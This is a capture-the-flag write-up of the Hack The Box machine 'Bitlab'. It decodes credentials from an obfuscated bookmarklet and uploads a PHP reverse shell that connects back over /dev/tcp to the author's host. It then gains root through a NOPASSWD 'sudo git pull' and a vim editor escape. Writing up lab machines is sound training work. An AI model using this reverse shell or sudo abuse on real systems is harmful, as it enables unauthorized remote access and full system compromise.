Hack the box: Bitlab#

Bitlab was a medium difficulty machine on Hach the box. Here’s my take on solving the challenge.

Bitlab

Bitlab

TL;DR: Obfuscated JS script contains credentials to Bitlab Git repostitory. Repositories are working in a kind of CI/CD, so modifying the code in repo leads to a code execution and reverse shell. Privlege escalation can be done by abusing sudo git pull command that is added as NOPASSWD to sudo.

Recon#

Nmap shows basically one surface of attack: HTTP server:

nmap bitlab.htb -sS -sV -O -n 
-- snip --
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
-- snip --

Robots.txt file contains a couple of interesting places. The most helpful turns out to be /help:

/help

/help

It contais an interesting html file with a simple, obfuscated JS script:

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()"

After decoding the strings it becomes apparent that it contains credentials:

var a = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];

Indeed using clave : 11des0081x on the main page’s login screen allows access to bitlab.

User#

Logging in gives access to two projects:

Profile project seems to have some kind of continuus deployment in place:

It is possible to use Bitlabs interface to add a new file to repository. I it to add a simple PHP reverse shell and save it as tellicorevshell.php:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.135/443 0>&1'"); ?>

Now, navigating to http://bitlab.htb/profile/tellicorevshell .php yields a shell:

# nc -nvlp443
listening on [any] 443 ...
connect to [10.10.15.50] from (UNKNOWN) [10.10.10.114] 48426
-- snip --
www-data@bitlab:/var/www/html/profile$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bitlab:/var/www/html/profile$

Privlege escalation#

It is possible to run a git pull with root privleges:

www-data@bitlab:/var/www/html/profile$ python -c 'import pty; pty.spawn("/bin/sh")'
$ sudo -l
-- snip --

To exploit that it is neccesary to copy the repository to a writable place:

cp /var/www/html/profile /tmp/. -r

Now it is possible to edit a .git/config file. Setting pull.ff to false will force git run an editor every time it pulls some commits from the remote. The editor is for some reason broken on the machine, so it also necessary to set core.editor to “vim”. After those operations .git/config file should look like this:

[core]
 repositoryformatversion = 0
 filemode = true
 bare = false
 logallrefupdates = true
 editor = "vim"
[remote "origin"]
 url = ssh://git@localhost:3022/root/profile.git
 fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
 remote = origin
 merge = refs/heads/master
[pull]
 ff = false

Now, after merging another commit to the repository form Bitlab webapplication, sudo git pull should spawn a vim instance. :!bash will spawn a shell with root privleges:

$ sudo git pull
From ssh://localhost:3022/root/profile
   074fdea..f82aa42  master     -> origin/master
-- snip --
:!bashbranch 'master' of ssh://localhost:3022/root/profile
# Please enter a commit message to explain why this merge is necessary,
# especially if it merges an updated upstream into a topic branch.
#
# Lines starting with '#' will be ignored, and an empty message aborts
# the commit.

:!bash
root@bitlab:/tmp/profile# id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/tmp/profile# cd /root
root@bitlab:~# cat root.txt
8d4...
root@bitlab:~# cd /home/clave
root@bitlab:/home/clave# cat user.txt
cat user.txt
1e3...